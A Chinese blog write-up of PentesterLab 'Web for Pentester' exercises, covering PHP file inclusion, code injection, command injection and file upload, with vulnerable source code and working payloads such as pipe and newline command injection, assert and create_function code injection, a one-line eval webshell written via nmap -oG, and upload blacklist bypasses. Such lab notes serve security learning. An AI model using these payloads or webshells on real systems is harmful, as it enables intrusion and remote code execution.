PentesterLab » Web for Pentester 通关笔记

寒假看到一个练习题,很有意思也很适合我这样的新手,于是下载下来练手。
下载地址
参考链接
在这里插入图片描述

File Include

example1

打开之后长这样:
在这里插入图片描述
可以看到page处可能可以进行任意文件读取。
我们尝试读取该文件的源码,发现
在这里插入图片描述
于是换成了php伪协议,解码之后,代码如下:

<?php require_once '../header.php'; ?>

<?php

	if ($_GET["page"]) {
		include($_GET["page"]);

	} 

?>

<?php require_once '../footer.php'; ?>

那就很好办了。用php伪协议,用input查看phpinfo,然后再利用系统命令执行函数:
在这里插入图片描述

example2

在这里插入图片描述
初步猜测它会自动添加.php后缀,当page值为intro.php%00时,依然可读取该文件。于是和example1相同,利用伪协议执行命令。
源码如下:

<?php require_once '../header.php'; ?>
<?php
	if ($_GET["page"]) {
    $file = $_GET["page"].".php";
    // simulate null byte issue
    $file = preg_replace('/\x00.*/',"",$file);
		include($file);
	} 
?>
<?php require_once '../footer.php'; ?>

任意文件包含漏洞主要由于require(),include()等函数的参数没有进行严格的过滤及php.ini中的配置项
的开启导致的。

alow_url_fopen ON
allow_url_include ON 

code injection

example1

在这里插入图片描述
尝试闭合:
在这里插入图片描述
双引号用来闭合,分号用来结束语句,注释符把原来闭合的双引号注释掉。在分号和注释符之间可以插入任意PHP语句。
如:
在这里插入图片描述

example2

这个例子的闭合我想了很久也没想出来,看了文章之后才明白。
我们看关键的一段代码:

usort($users, create_function('$a, $b', 'return strcmp($a->'.$order.',$b->'.$order.');'));

usort()为排序函数。
create_function()为创建一个简单函数,上面的语句相当于为:

<?php
function abc($a, $b)
{
	return strcmp($a->$order,$b->$order);
}
?>

作为一个函数,必然要执行代码,而我们的$order可控,于是按照函数来进行闭合即可进行代码注入:
http://192.168.249.143/codeexec/example2.php?order=id);}//
这里先闭合strcmp函数,结束语句,再闭合函数,然后用注释符把原代码注释掉,然后就可以执行任意代码了。

example3

在这里插入图片描述
关键代码:

<?php
echo preg_replace($_GET["pattern"], $_GET["new"], $_GET["base"]);
?>

这题我也是看到了源码才知道的解法,该题利用preg_replace()将$base中的字符输出,但会按照$pattern中匹配的字符替换成$new中的字符。但当该函数匹配模式有/e时会将$new中的字符串当作代码处理。于是就很简单了:
在这里插入图片描述

example4

在这里插入图片描述
关键代码:

<?php
assert(trim("'".$_GET['name']."'"));
echo "Hello ".htmlentities($_GET['name']);
?>

这题是利用assert()函数,进行代码执行。只要闭合函数即可。
payload:http://192.168.249.143/codeexec/example4.php?name='.phpinfo();//

代码执行漏洞主要由于eval()、assert()等函数对参数的过滤不严格导致的。

command injection

example1

利用管道符即可。
payload:http://192.168.249.143/commandexec/example1.php?ip=127.0.0.1|ls

example2

看源码:

<?php
  if (!(preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}.\d{1,3}$/m', $_GET['ip']))) {
     die("Invalid IP address");
  }
  system("ping -c 2 ".$_GET['ip']);
?>

这里使用了正则表达式来检测这一行是否为“数字.数字.数字.数字”的情况,但是/m的匹配模式可以用换行符进行绕过。
于是我们构造payload:http://192.168.249.143/commandexec/example2.php?ip=127.0.0.1%0als即可。

example3

在这里插入图片描述
该网页进行了一个重定向,但命令依旧是被执行了的,所以抓包即可。

example4

这个是我自己写的题,主要是记一下这个特殊的命令执行方式,代码如下:

<?php
$a = $GET['a'];
echo `$a`;
?>

这里的反引号会获取执行$a后返回的结果,在某个CTF中里遇见了该命令执行方式,记录一下。

example5

打省赛的时候做到的一题,记录一下。
nmap工具使用-oG参数时可以写入文件
虽然是中文官方文档但依然是英文,很迷
英文文档在这。
例如省赛的题解:

?host=' <?php @eval($_POST["hack"]);?> -oG hack.php
意思就是将这句木马写入hack.php文件中。

文件上传

example1

没有过滤,上传一句话木马即可。

example2

这里对php后缀进行了黑名单过滤,我们可以尝试用大小写绕过或者phtml等后缀绕过。
成功后用菜刀连接即可。

发布了27 篇原创文章 · 获赞 1 · 访问量 810

猜你喜欢

转载自blog.csdn.net/weixin_44377940/article/details/103943253